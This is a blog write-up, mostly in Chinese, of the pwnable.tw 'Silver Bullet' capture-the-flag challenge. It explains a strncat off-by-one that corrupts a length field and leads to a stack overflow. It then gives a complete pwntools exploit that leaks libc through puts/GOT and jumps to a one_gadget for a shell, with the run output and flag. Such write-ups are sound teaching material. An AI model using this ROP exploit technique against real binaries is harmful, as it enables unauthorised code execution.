Pwnable.tw Silver Bullet Writeup

kazma 成大資安社 創辦人/社長
  2024-06-07 02:50:11 2024-06-07 02:50:11 Created   2024-06-07 02:50:11 2024-06-07 02:50:11 Updated    

Pwnable.tw - Silver Bullet

Description

Please kill the werewolf with silver bullet!

Source

https://pwnable.tw/challenge/#6

0x1 Initial Reconnaissance

題目名字取的很帥，來分析一下。

file

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└─$ file silver_bullet
silver_bullet: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter ./ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=8c95d92edf8bf47b6c9c450e882b7142bf656a92, not stripped

checksec

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└─$ checksec silver_bullet
[*] '/home/kazma/pwnabletw/silver_bullet/silver_bullet'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8046000)

./silver_bullet

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└─$ ./silver_bullet
+++++++++++++++++++++++++++
       Silver Bullet
+++++++++++++++++++++++++++
 1. Create a Silver Bullet
 2. Power up Silver Bullet
 3. Beat the Werewolf
 4. Return
+++++++++++++++++++++++++++
Your choice :

又是選單題XD，而且難得把 canary 拔掉, 可能有 bof 之類的洞，來逆向分析一下。

0x2 Reverse Engineering

main

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int __cdecl main(int argc, const char **argv, const char **envp)
{
  int menu_input; // eax
  int v5; // [esp+0h] [ebp-3Ch] BYREF
  const char *v6; // [esp+4h] [ebp-38h]
  char description[48]; // [esp+8h] [ebp-34h] BYREF
  int v8; // [esp+38h] [ebp-4h]

  init_proc();
  v8 = 0;
  memset(description, 0, sizeof(description));
  v5 = 0x7FFFFFFF;
  v6 = "Gin";
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          menu();
          menu_input = read_int(v5, v6);
          if ( menu_input != 2 )
            break;
          power_up(description);
        }
        if ( menu_input > 2 )
          break;
        if ( menu_input != 1 )
          goto LABEL_15;
        create_bullet(description);
      }
      if ( menu_input == 3 )
        break;
      if ( menu_input == 4 )
      {
        puts("Don't give up !");
        exit(0);
      }
LABEL_15:
      puts("Invalid choice");
    }
    if ( beat(description, &v5) )
      return 0;
    puts("Give me more power !!");
  }
}

首先是 main 的部分，基本上就是選單的運作，然後怪物的血量被設定成 0x7FFFFFFF。

create_bullet

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int __cdecl create_bullet(char *bullet)
{
  size_t length; // [esp+0h] [ebp-4h]

  if ( *bullet )
    return puts("You have been created the Bullet !");
  printf("Give me your description of bullet :");
  read_input(bullet, 48u);
  length = strlen(bullet);
  printf("Your power is : %u\n", length);
  *((_DWORD *)bullet + 12) = length;
  return puts("Good luck !!");
}

再來是建子彈的部分，一開始我們需要先建一個子彈才能玩遊戲，create_bullet 會讓我們對一個 48 bytes 的 buffer 輸入描述然後用描述的長度當成子彈的威力。

power_up

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int __cdecl power_up(char *dest)
{
  char input[48]; // [esp+0h] [ebp-34h] BYREF
  size_t new_power; // [esp+30h] [ebp-4h]

  new_power = 0;
  memset(input, 0, sizeof(input));
  if ( !*dest )
    return puts("You need create the bullet first !");
  if ( *((_DWORD *)dest + 12) > 47u )
    return puts("You can't power up any more !");
  printf("Give me your another description of bullet :");
  read_input(input, 48 - *((_DWORD *)dest + 12));
  strncat(dest, input, 48 - *((_DWORD *)dest + 12));
  new_power = strlen(input) + *((_DWORD *)dest + 12);
  printf("Your new power is : %u\n", new_power);
  *((_DWORD *)dest + 12) = new_power;
  return puts("Enjoy it !");
}

創建子彈後可以加強他的威力，他會先去判斷子彈目前的敘述長度有沒有超過 47，超過就掰掰，沒有的話就把 48 減掉目前的長度作為這次輸入的長度限制，最後再把目前的長度加上這次輸入的長度作為新的長度。

beat

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int __cdecl beat(int a1, int a2)
{
  int result; // eax

  if ( *(_BYTE *)a1 )
  {
    puts(">----------- Werewolf -----------<");
    printf(" + NAME : %s\n", *(const char **)(a2 + 4));
    printf(" + HP : %d\n", *(_DWORD *)a2);
    puts(">--------------------------------<");
    puts("Try to beat it .....");
    usleep(0xF4240u);
    *(_DWORD *)a2 -= *(_DWORD *)(a1 + 48);
    if ( *(int *)a2 <= 0 )
    {
      puts("Oh ! You win !!");
      result = 1;
    }
    else
    {
      puts("Sorry ... It still alive !!");
      result = 0;
    }
  }
  else
  {
    puts("You need create the bullet first !");
    result = 0;
  }
  return result;
}

最後是 beat, 主要就是判斷子彈威力有沒有大於怪獸血量而已，這邊沒什特別的。

0x3 Exploitation

這題的漏洞出在 strncat 會在字串拼接後加上 null byte, 又很幸運的是子彈敘述的 buffer 後面緊接著的是子彈長度，所以如果我們把 buffer 填滿後就可以 off one byte 覆蓋掉長度為零，完整攻擊思路如下：

  1. 我們一開始建一顆敘述不要超過 47 的銀彈
  2. 然後增強他的威力讓他長度加起來剛好 48，如此就可以讓子彈長度變成: 0 加上這次輸入的長度。
  3. 因為我們成功讓長度變小了，所以可以再次增加威力讓他 overflow。
  4. Overflow 時我們可以順便把敘述長度的後三個 bytes 改成 \xff，因為小端緒的緣故我們的威力就大於怪物血量，待會呼叫 beat 就可以痛扁大魔王並且贏得遊戲踩到 main 的 return 幫助我們跳到 rop chain 上。
  5. 然後我們用 puts 去 leak 某個 GOT 算出 libc_base，再跳回 main 然後重複前面的行為再跳到 one_gadget 或是 system(‘/bin/sh’) 上。
  6. Pwned!!!

0x4 Exploit

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import warnings

from pwn import *

warnings.filterwarnings("ignore", category=BytesWarning)

context.arch = "i386"

host = "chall.pwnable.tw"
port = 10103

elf = ELF("./silver_bullet")
l = ELF("./libc_32.so.6")


def create(data):
    r.sendafter(b":", "1")
    r.sendafter(b":", data)


def power(data):
    r.sendafter(b":", "2")
    r.sendafter(b":", data)


def beat():
    r.sendafter(b":", "3")


if len(sys.argv) > 1 and sys.argv[1] == "-r":
    r = remote(host, port)
else:
    r = process("./silver_bullet")

create(b"a" * 47)
power(b"b" * 1)

p = flat(b"\xff" * 7, elf.plt["puts"], elf.sym["main"], elf.got["puts"])
power(p)
beat()

r.recvuntil(b"Oh ! You win !!\n")
libc_base = u32(r.recv(4)) - l.sym["puts"]
success("libc_base -> %s" % hex(libc_base))

og = libc_base + 0x5F065

create(b"a" * 47)
power(b"b")
p2 = flat(b"\xff" * 7, og)
power(p2)
beat()

sleep(1)
r.sendline("cat /home/`whoami`/flag")
r.interactive()

result:

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└─$ python exploit.py -r
[*] '/home/kazma/pwnabletw/silver_bullet/silver_bullet'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8046000)
[*] '/home/kazma/pwnabletw/silver_bullet/libc_32.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10103: Done
[+] libc_base -> 0xf75a9000
[*] Switching to interactive mode
Give me your another description of bullet :Your new power is : 4294967052
Enjoy it !
+++++++++++++++++++++++++++
       Silver Bullet
+++++++++++++++++++++++++++
 1. Create a Silver Bullet
 2. Power up Silver Bullet
 3. Beat the Werewolf
 4. Return
+++++++++++++++++++++++++++
Your choice :>----------- Werewolf -----------<
 + NAME : Gin
 + HP : 2147483647
>--------------------------------<
Try to beat it .....
Oh ! You win !!
FLAG{uS1ng_S1lv3r_bu1l3t_7o_Pwn_th3_w0rld}
$

Pwned!!!

  • Title: Pwnable.tw Silver Bullet Writeup
  • Author: kazma
  • Created at : 2024-06-07 02:50:11
  • Updated at : 2024-06-07 02:50:11
  • Link: https://kazma.tw/2024/06/07/Pwnable-tw-Silver-Bullet-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
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Pwnable.tw Silver Bullet Writeup
  1. Pwnable.tw - Silver Bullet
    1. Description
    2. Source
  2. 0x1 Initial Reconnaissance
    1. file
    2. checksec
    3. ./silver_bullet
  3. 0x2 Reverse Engineering
    1. main
    2. create_bullet
    3. power_up
    4. beat
  4. 0x3 Exploitation
  5. 0x4 Exploit
  6. Pwned!!!